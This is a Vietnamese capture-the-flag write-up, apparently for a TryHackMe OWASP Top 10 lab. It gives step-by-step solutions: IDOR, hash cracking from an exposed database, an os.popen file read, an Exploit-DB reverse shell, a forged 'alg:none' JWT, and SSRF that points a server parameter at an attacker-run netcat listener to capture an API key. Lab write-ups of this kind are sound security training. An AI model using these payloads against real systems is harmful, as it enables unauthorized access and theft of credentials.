IDOR Challenge
Lỗ hổng IDOR nằm ở parameter node_id
với giá trị là 0.
Success
flag{fivefourthree}
Cryptographic Challenge
Vào route /login.php
, xem source code thì có dòng sau:
<!-- Must remember to do something better with the database than store it in /assets... -->
Truy cập route /assets
và thấy file webapp.db
. Tải về và dùng các câu lệnh trong Flat-File Database để xem password của admin nằm ở bảng users
:
6eea9b7ef19179a06954edd0f6c05ceb
Dùng Crackstation để giải hash, thu được password là: qwertyuiop
.
Đăng nhập vào và thu được flag.
Success
THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
Insecure Design
Chọn reset password với username là joseph, chọn câu hỏi 2, đoán được câu trả lời là green. Sau đó dùng password đã reset để đăng nhập vào và xem flag.txt
ở phần Private
.
Success
THM{Not_3ven_c4tz_c0uld_sav3_U!}
Security Misconfiguration
Sử dụng câu lệnh:
import os; print(os.popen("cat app.py").read())
Tìm flag ở trong biến secret_flag
.
Success
THM{Just_a_tiny_misconfiguration}
Vulnerable and Outdated Components
Tìm trên exploit DB thấy lỗ hổng RCE của online book store. Chạy thực thi exploit và ta có được reverse shell.
Đọc flag ở trong /opt/flag.txt
.
Success
THM{But_1ts_n0t_my_f4ult!}
Identification and Authentication Failures
Tạo tài khoản mới với username là " darren"
. Đăng nhập vào và ta có được flag:
Success
fe86079416a21a3c99937fea8874b667
Tương tự tạo tài khoản với username là " arthur"
và cũng đọc được flag:
Success
d9ac0f7db4fda460ac3edeb75d75e16e
Data Integrity Failures
Technique
JWT token là một loại session token thay thế cho cookie vì attacker có thể sửa giá trị của cookie và username tùy ý để mạo danh nạn nhân.
Giá trị của JWT token được encode dưới dạng base64 và được gửi cho user:
Phần cuối là signature của server và chỉ server có private key mới có thể ký. Nếu attacker thay đổi payload thì sẽ không còn match với signature và khi đó sẽ bị phát hiện.
Có một kiểu tấn công là ta thay decode hai phần đầu và chỉnh sửa lại như sau:
Với admin
là username mà ta muốn mạo danh và ta sẽ cắt bỏ phần signature. Tuy nhiên vẫn giữ lại dấu chấm ở cuối.
Approach
Thử đăng nhập với tài khoản guest
và mật khẩu guest
. Ta có được JWT token sau:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjg4OTcyMTI0fQ.aUNDiZJjPfjaJ1Fmw__QDW23dSOwIF_sXg-eo5q-HiA
Decode hai phần đầu, ta có header là:
{"typ":"JWT","alg":"HS256"}
Và payload là:
{"username":"guest","exp":1688972124}
Sửa header và pyaload để mạo danh admin
như đã đề cập trước đó. Sau đó encode lại và tạo thành JWT token sau:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg4OTcyMTI0fQ.
Thay đổi và refresh trang ta sẽ được đăng nhập vào admin và thu được flag.
Success
THM{Dont_take_cookies_from_strangers}
Server-Side Request Forgery
Technique
Minh họa cơ chế hoạt động của server mà có thể bị tấn công SSRF:
Dễ thấy, ta có thể thay đổi giá trị của param server
lại thành một địa chỉ tùy ý để nhận API key.
Approach
Khi bấm vào nút “Download resume” thì trang web sẽ gửi request đến:
http://10.10.197.124:8087/download?server=secure-file-storage.com:8087&id=75482342
Với 10.10.197.124
là địa chỉ IP của trang web.
Ta host một Netcat server:
nc -vnlp 8087
Và thay địa chỉ IP của Netcat server (giả sử 10.10.10.10
) vào phần secure-file-storage.com
(nhớ thêm http://
phía trước):
http://10.10.197.124:8087/download?server=http://10.10.10.10:8087&id=75482342
Khi đó, ta sẽ thu được request và có được API key.
Success
THM{Hello_Im_just_an_API_key}
Khi truy cập vào trang admin, trang web yêu cầu phải truy cập từ admin. Vì thế, ta sửa lại request như sau:
http://10.10.197.124:8087/download?server=http://localhost:8087/admin&id=75482342
Không thu được flag, dùng một trick là thêm #
phía sau /admin
. Tất nhiên là ta cũng cần phải URL encode ký tự này (thành %23
). Request trở thành:
http://10.10.197.124:8087/download?server=http://localhost:8087/admin%23&id=75482342
Thu được flag:
Success
thm{c4n_i_haz_flagz_plz?}